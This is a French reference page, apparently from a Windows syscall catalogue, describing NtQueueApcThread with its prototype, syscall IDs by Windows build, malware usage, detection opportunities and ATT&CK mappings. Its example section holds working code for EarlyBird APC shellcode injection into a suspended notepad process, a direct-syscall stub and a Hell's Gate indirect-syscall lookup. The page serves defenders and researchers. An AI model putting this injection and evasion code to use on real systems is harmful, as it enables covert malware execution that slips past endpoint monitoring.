> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThread

Place un appel de procédure asynchrone (APC) en mode utilisateur dans la file d'un thread cible.

Prototype

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Arguments

NameTypeDirDescription
ThreadHandleHANDLEinHandle vers le thread cible avec l'accès THREAD_SET_CONTEXT.
ApcRoutinePIO_APC_ROUTINEinAdresse en mode utilisateur que le thread exécutera lorsqu'il entrera dans un wait alertable.
ApcArgument1PVOIDinPremier argument transmis à ApcRoutine. Souvent utilisé comme pointeur de payload.
ApcArgument2PVOIDinDeuxième argument transmis à ApcRoutine.
ApcArgument3PVOIDinTroisième argument transmis à ApcRoutine.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x45win10-1507
Win10 16070x45win10-1607
Win10 17030x45win10-1703
Win10 17090x45win10-1709
Win10 18030x45win10-1803
Win10 18090x45win10-1809
Win10 19030x45win10-1903
Win10 19090x45win10-1909
Win10 20040x45win10-2004
Win10 20H20x45win10-20h2
Win10 21H10x45win10-21h1
Win10 21H20x45win10-21h2
Win10 22H20x45win10-22h2
Win11 21H20x45win11-21h2
Win11 22H20x45win11-22h2
Win11 23H20x45win11-23h2
Win11 24H20x45win11-24h2
Server 20160x45winserver-2016
Server 20190x45winserver-2019
Server 20220x45winserver-2022
Server 20250x45winserver-2025

Module noyau

ntoskrnl.exeNtQueueApcThread

APIs liées

QueueUserAPCQueueUserAPC2NtQueueApcThreadExNtQueueApcThreadEx2NtTestAlertZwQueueApcThread

Stub du syscall

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

File un APC utilisateur régulier sur le thread cible. Le SSN `0x45` est stable sur chaque build Win10/11 livré. Un APC utilisateur en file ne se déclenche que lorsque le thread cible entre dans un wait *alertable* (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, idles de message-loop GUI). Si le thread ne devient jamais alertable, l'APC reste en file indéfiniment — d'où l'introduction de `NtQueueApcThreadEx` avec `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) qui force le déclenchement. L'EarlyBird APC injection contourne l'exigence d'alertabilité en visant un thread fraîchement créé et suspendu qui n'a pas encore exécuté sa première instruction.

Usage courant par les malwares

Deux saveurs principales en abusent. (1) Injection APC distante classique : ouvrir un thread cible, mettre en file un APC pointant sur `LoadLibraryA` ou directement sur du shellcode dans `ApcArgument1`, attendre qu'il se déclenche. (2) EarlyBird : créer un processus bénin suspendu, mettre en file l'APC sur le thread primaire avant que le loader ne tourne, reprendre — l'APC se déclenche lorsque le loader atteint son premier wait alertable dans `ntdll!LdrpInitializeProcess`. Utilisé par Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, la combinaison originale APC+Atombombing, et les BOF `AddressOfPage` de Cobalt Strike.

Opportunités de détection

Aucun événement Sysmon dédié. ETW Threat Intelligence émet `EtwTiLogQueueApcThread` pour les APC utilisateur mis en file inter-processus — c'est le signal noyau principal et ce que la plupart des EDR consomment. Le callback `PsSetCreateThreadNotifyRoutine` ne se déclenche qu'à la création de thread, pas à la mise en file d'APC, donc EarlyBird se détecte par la *combinaison* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` depuis un parent non-debugger. La télémétrie de stack-walk à la livraison de l'APC est l'étalon-or : si la chaîne de retour ne montre que des frames ntdll avec une routine APC en mémoire privée, c'est de l'injection à haute confiance.

Exemples de syscalls directs

asmx64 direct stub

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

cEarlyBird APC injection

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

cHell's Gate dynamic lookup

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

Mappings MITRE ATT&CK

Last verified: 2026-05-20